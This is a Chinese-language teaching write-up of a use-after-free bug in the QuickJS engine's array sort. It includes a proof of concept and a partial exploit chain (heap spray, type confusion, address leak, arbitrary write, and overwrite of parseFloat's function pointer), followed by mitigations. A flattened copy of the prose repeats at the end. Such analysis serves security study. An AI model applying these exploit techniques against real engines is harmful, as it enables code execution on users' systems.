QuickJS uaf 漏洞分析
字数 928 2025-08-26 22:11:40

QuickJS UAF漏洞分析与利用教学文档

漏洞概述

QuickJS是一个轻量级的JavaScript引擎,本文分析的漏洞是一个Use-After-Free(UAF)漏洞,存在于数组排序操作中。攻击者可以通过精心构造的JavaScript代码触发该漏洞,最终实现任意代码执行。

漏洞分析

POC代码

let spray = new Array(100);
let a = [{hack:0},1,2,3,4];
let refcopy = [a[0]];
a.__defineSetter__(3,()=>{throw 1;});
try {
    a.sort(function(v){if (v == a[0]) return 0; return 1;});
}
catch (e){}
a[0] = 0;
for (let i=0; i<1000; i++) spray[i] = [13371337];
console.log(refcopy[0]);

漏洞触发流程

  1. 初始数组创建

    • 创建数组a,其中第一个元素是一个对象{hack:0}
    • 创建refcopy数组引用a[0],此时对象引用计数为2
  2. 设置setter

    • 为数组a的索引3设置setter函数,该函数会抛出异常
  3. 触发排序异常

    • 调用a.sort(),在排序过程中会触发setter抛出异常
    • 异常处理过程中会释放一些资源,导致对象引用计数减1(从2减到1)
  4. 重新赋值

    • a[0] = 0操作会释放原来的对象,引用计数减到0,对象被释放
  5. UAF利用

    • 后续通过refcopy[0]访问已释放的内存,造成UAF

关键数据结构

JSObject结构

struct JSObject {
    JSRefCountHeader header; /* must come first, 32-bit */
    JSGCHeader gc_header; /* must come after JSRefCountHeader, 8-bit */
    uint8_t extensible : 1;
    uint8_t free_mark : 1; /* only used when freeing objects with cycles */
    uint8_t is_exotic : 1; /* TRUE if object has exotic property handlers */
    uint8_t fast_array : 1; /* TRUE if u.array is used for get/put */
    uint8_t is_constructor : 1; /* TRUE if object is a constructor function */
    uint8_t is_uncatchable_error : 1; /* if TRUE, error is not catchable */
    uint8_t is_class : 1; /* TRUE if object is a class constructor */
    uint8_t tmp_mark : 1; /* used in JS_WriteObjectRec() */
    uint16_t class_id; /* see JS_CLASS_x */
    struct list_head link; /* object list */
    JSShape *shape; /* prototype and property names + flag */
    JSProperty *prop; /* array of properties */
    struct JSMapRecord *first_weak_ref;
    union {
        // ... 
    };
};

JSString结构

struct JSString {
    JSRefCountHeader header; /* must come first, 32-bit */
    uint32_t len : 31;
    uint8_t is_wide_char : 1; /* 0 = 8 bits, 1 = 16 bits characters */
    uint32_t hash : 30;
    uint8_t atom_type : 2; /* != 0 if atom, JS_ATOM_TYPE_x */
    uint32_t hash_next; /* atom_index for JS_ATOM_TYPE_SYMBOL */
    union {
        uint8_t str8[0]; /* 8 bit strings will get an extra null terminator */
        uint16_t str16[0];
    } u;
};

JSArrayBuffer结构

typedef struct JSArrayBuffer {
    int byte_length; /* 0 if detached */
    uint8_t detached;
    uint8_t shared; /* if shared, the array buffer cannot be detached */
    uint8_t *data; /* NULL if detached */
    struct list_head array_list;
    void *opaque;
    JSFreeArrayBufferDataFunc *free_func;
} JSArrayBuffer;

漏洞利用

利用步骤

  1. 触发漏洞:通过POC代码触发UAF漏洞
  2. 类型混淆:通过内存操作使同一块内存被解释为不同类型
  3. 信息泄露:利用类型混淆泄露关键对象地址
  4. 任意地址读写:构建读写原语
  5. 代码执行:覆盖函数指针实现代码执行

详细利用过程

  1. 初始设置

    var spray = [];
    var jsobj_leak_data = new Uint32Array(0x38);
    jsobj_leak_data.fill(0);
    
    // 创建字符串用于后续内存操作
    x = 'A'.repeat(50).slice(1);
    y = 'A'.repeat(50).slice(1);
    
    // 创建主从数组用于构建读写原语
    master = new Uint32Array(0x40);
    master.fill(0x31313131);
    slave = new Uint32Array(0x40);
    slave.fill(0x61616161);
    
  2. 堆喷布局

    for (var i = 0; i < 0x400; i++) {
        var x = new Uint32Array(0x1000 / 4);
        x.fill(0x51515151);
        spray.push(x);
    }
    
    // 创建空洞以便后续内存分配
    for (var i = 0; i < spray.length; i += 0x4) {
        spray[i] = 0;
    }
    
  3. 触发漏洞

    a = [
        [0x2, 0x2, 0x2, /*...*/ ], 1, 2, 3, 4
    ];
    
    refcopy = a[0];
    
    a.__defineSetter__(3, function () { throw 1; });
    try {
        a.sort(function (v) { return 0; });
    } catch (e) {}
    
    a[0] = 0x61616161;
    
  4. 类型混淆构造

    // 分配JSString类型内存
    refill_0 = 'A'.repeat(50).slice(1);
    refcopy = 0;
    
    // 分配JSObject类型内存
    refill_1 = [0x2, 0x2, 0x2, /*...*/ ];
    
    // 释放并重新分配内存
    refill_1 = 0;
    refill_1 = [0x1337, 0x1337];
    refill_0 = 0;
    refill_0 = [0x71717171];
    
    // 分配ArrayBuffer类型内存
    refill_1 = 0;
    x = 0;
    y = 0;
    refill_1 = new Uint32Array(0x48 / 4);
    refill_1.fill(0x41414141);
    
  5. 信息泄露

    // 解析泄露的JSObject数据
    for (var i = 0; i < 0x38; i += 4) {
        var ptr = 0;
        var val = '';
        ptr = refill_0.slice(i, i + 4);
    
        for (var j = 3; j >= 0; j--) {
            var char = ptr.charCodeAt(j).toString(16);
            if (char.length == 1) char = '0' + char;
            val += char;
        }
        val = parseInt(val, 16);
        jsobj_leak_data[i / 4] = val;
    }
    
    // 获取关键指针
    var shape = toint64(jsobj_leak_data[(24 - 0x10) / 4], jsobj_leak_data[(28 - 0x10) / 4]);
    var prop = toint64(jsobj_leak_data[(32 - 0x10) / 4], jsobj_leak_data[(36 - 0x10) / 4]);
    var values = toint64(jsobj_leak_data[(56 - 0x10) / 4], jsobj_leak_data[(60 - 0x10) / 4]);
    
  6. 构建读写原语

    // 获取关键对象地址
    master_addr = addrof(master);
    slave_addr = addrof(slave);
    parseFloat_addr = addrof(parseFloat);
    
    // 设置master->values指向slave地址
    refill_1[(56) / 4] = (master_addr & 0xffffffff) + 56;
    refill_0[0] = slave;
    
    // 任意地址写函数
    function write64(addr, val) {
        master[56 / 4] = (addr & 0xffffffff) >>> 0;
        master[60 / 4] = addr / 0x100000000;
        slave[0] = val & 0xffffffff;
        slave[1] = val / 0x100000000;
    }
    
  7. 代码执行

    // 覆盖parseFloat函数指针
    write64(parseFloat_addr + 0x30, 0x414141414141);
    parseFloat(); // 触发执行
    

防御措施

  1. 引用计数管理:确保在异常处理时正确维护引用计数
  2. 内存安全:使用内存安全语言或工具(如AddressSanitizer)检测UAF问题
  3. 输入验证:对JavaScript代码中的特殊操作(如setter定义)进行严格验证
  4. 隔离机制:使用沙箱技术限制脚本的执行权限

总结

该漏洞展示了QuickJS引擎在异常处理和内存管理方面的缺陷。通过精心构造的JavaScript代码,攻击者可以触发UAF漏洞,进而实现类型混淆、信息泄露和最终代码执行。理解这类漏洞的利用技术对于开发安全的JavaScript引擎和编写安全的JavaScript代码都具有重要意义。

QuickJS UAF漏洞分析与利用教学文档 漏洞概述 QuickJS是一个轻量级的JavaScript引擎,本文分析的漏洞是一个Use-After-Free(UAF)漏洞,存在于数组排序操作中。攻击者可以通过精心构造的JavaScript代码触发该漏洞,最终实现任意代码执行。 漏洞分析 POC代码 漏洞触发流程 初始数组创建 : 创建数组 a ,其中第一个元素是一个对象 {hack:0} 创建 refcopy 数组引用 a[0] ,此时对象引用计数为2 设置setter : 为数组 a 的索引3设置setter函数,该函数会抛出异常 触发排序异常 : 调用 a.sort() ,在排序过程中会触发setter抛出异常 异常处理过程中会释放一些资源,导致对象引用计数减1(从2减到1) 重新赋值 : a[0] = 0 操作会释放原来的对象,引用计数减到0,对象被释放 UAF利用 : 后续通过 refcopy[0] 访问已释放的内存,造成UAF 关键数据结构 JSObject结构 JSString结构 JSArrayBuffer结构 漏洞利用 利用步骤 触发漏洞 :通过POC代码触发UAF漏洞 类型混淆 :通过内存操作使同一块内存被解释为不同类型 信息泄露 :利用类型混淆泄露关键对象地址 任意地址读写 :构建读写原语 代码执行 :覆盖函数指针实现代码执行 详细利用过程 初始设置 : 堆喷布局 : 触发漏洞 : 类型混淆构造 : 信息泄露 : 构建读写原语 : 代码执行 : 防御措施 引用计数管理 :确保在异常处理时正确维护引用计数 内存安全 :使用内存安全语言或工具(如AddressSanitizer)检测UAF问题 输入验证 :对JavaScript代码中的特殊操作(如setter定义)进行严格验证 隔离机制 :使用沙箱技术限制脚本的执行权限 总结 该漏洞展示了QuickJS引擎在异常处理和内存管理方面的缺陷。通过精心构造的JavaScript代码,攻击者可以触发UAF漏洞,进而实现类型混淆、信息泄露和最终代码执行。理解这类漏洞的利用技术对于开发安全的JavaScript引擎和编写安全的JavaScript代码都具有重要意义。